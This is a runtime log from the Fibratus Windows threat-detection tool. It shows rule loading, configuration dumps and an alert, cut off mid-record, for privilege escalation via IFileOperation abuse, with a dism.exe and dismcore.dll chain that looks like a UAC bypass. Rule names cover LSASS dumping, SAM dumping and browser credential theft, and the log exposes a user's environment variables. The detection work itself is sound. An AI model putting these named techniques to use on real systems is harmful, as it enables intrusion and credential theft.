+time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T11:48:23+01:00 level=info msg=bootstrapping with pid 8456. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T11:48:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 use-template=>true to=>[] enabled=>false content-type=>text/html] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ max-buffers=>36 enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-mem=>false enable-registry=>true enable-net=>true min-buffers=>16 flush-interval=>1s buffer-size=>512 stack-enrichment=>true enable-handle=>false enable-dns=>false enable-thread=>true enable-vamap=>true enable-threadpool=>false enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-size=>100 max-backups=>15 formatter=>text max-age=>0] + output ......................... [ elasticsearch=>[ bulk-workers=>1 gzip-compression=>false template-name=>fibratus timeout=>5s trace-log=>false healthcheck=>true sniff=>false healthcheck-interval=>10s index-name=>fibratus healthcheck-timeout=>5s flush-period=>1s enabled=>false servers=>[http://127.0.0.1:9200]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] http=>[ enabled=>false method=>POST tls-insecure-skip-verify=>false serializer=>json endpoints=>[] timeout=>5s enable-gzip=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient passive=>false exchange=>fibratus tls-insecure-skip-verify=>false enabled=>false exchange-type=>topic routing-key=>fibratus durable=>false timeout=>5s vhost=>/]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-files=>false skip-registry=>false excluded-files=>[] scan-timeout=>10s fastscan=>true skip-mmaps=>false enabled=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T11:48:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:48:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:49:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T11:49:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:49:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:49:18+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T11:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:49:19+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T11:49:19+01:00 level=info msg=bootstrapping with pid 5740. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T11:49:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] mail=>[ port=>25 use-template=>true to=>[] content-type=>text/html enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ buffer-size=>512 max-buffers=>36 min-buffers=>16 enable-threadpool=>false enable-registry=>true enable-vamap=>true enable-fileio=>true enable-thread=>true enable-dns=>false enable-mem=>false enable-image=>true stack-enrichment=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-handle=>false enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text level=>info log-stdout=>true max-backups=>15] + output ......................... [ http=>[ serializer=>json endpoints=>[] enabled=>false method=>POST enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] elasticsearch=>[ template-name=>fibratus gzip-compression=>false timeout=>5s healthcheck-timeout=>5s bulk-workers=>1 sniff=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck-interval=>10s flush-period=>1s enabled=>false healthcheck=>true] amqp=>[ tls-insecure-skip-verify=>false durable=>false enabled=>false exchange=>fibratus routing-key=>fibratus passive=>false delivery-mode=>transient exchange-type=>topic timeout=>5s vhost=>/ url=>amqp://localhost:5672] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-mmaps=>false skip-allocs=>false skip-registry=>false excluded-files=>[] fastscan=>true skip-files=>false excluded-procs=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-21T11:49:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:49:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:49:36+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 640071 + Pid: 12192 + Tid: 12292 + Type: CreateFile + CPU: 4 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-21 11:49:26.6369444 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffbc88f48966b0, file_path➜ C:\Windows\System32\dismcore.dl~, irp➜ ffffbc88f50040f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 12292, type➜ File + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: C:\Windows\System32\dismcore, rule.name: Potential privilege escalation via IFileOperation abuse + + Pid: 12192 + Ppid: 1232 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 652032 + Pid: 5904 + Tid: 16956 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-21 11:49:27.0592299 +0100 CET + Params: base_address➜ 7ffa40330000, checksum➜ 38076, default_address➜ 7ffa40330000, file_path➜ C:\Windows\System32\dismcore.dll, image_size➜ 53248, pid➜ 5904, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: rule.seq.link: C:\Windows\System32\dismcore, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 5904 + Ppid: 9324 + Name: Dism.exe + Parent name: PkgMgr.exe + Cmdline: "C:\WINDOWS\system32\dism.exe" /online /quiet /norestart /add-package /packagepath:"C:\WINDOWS\system32\pe386" /ignorecheck + Parent cmdline: "C:\WINDOWS\system32\pkgmgr.exe" /ip /m:pe386 /quiet + Exe: C:\WINDOWS\system32\dism.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\dism.exe" /online /quiet /norestart /add-package /packagepath:"C:\WINDOWS\system32\pe386" /ignorecheck] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-21T11:52:26+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 884594 + Pid: 10136 + Tid: 14116 + Type: CreateFile + CPU: 5 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + 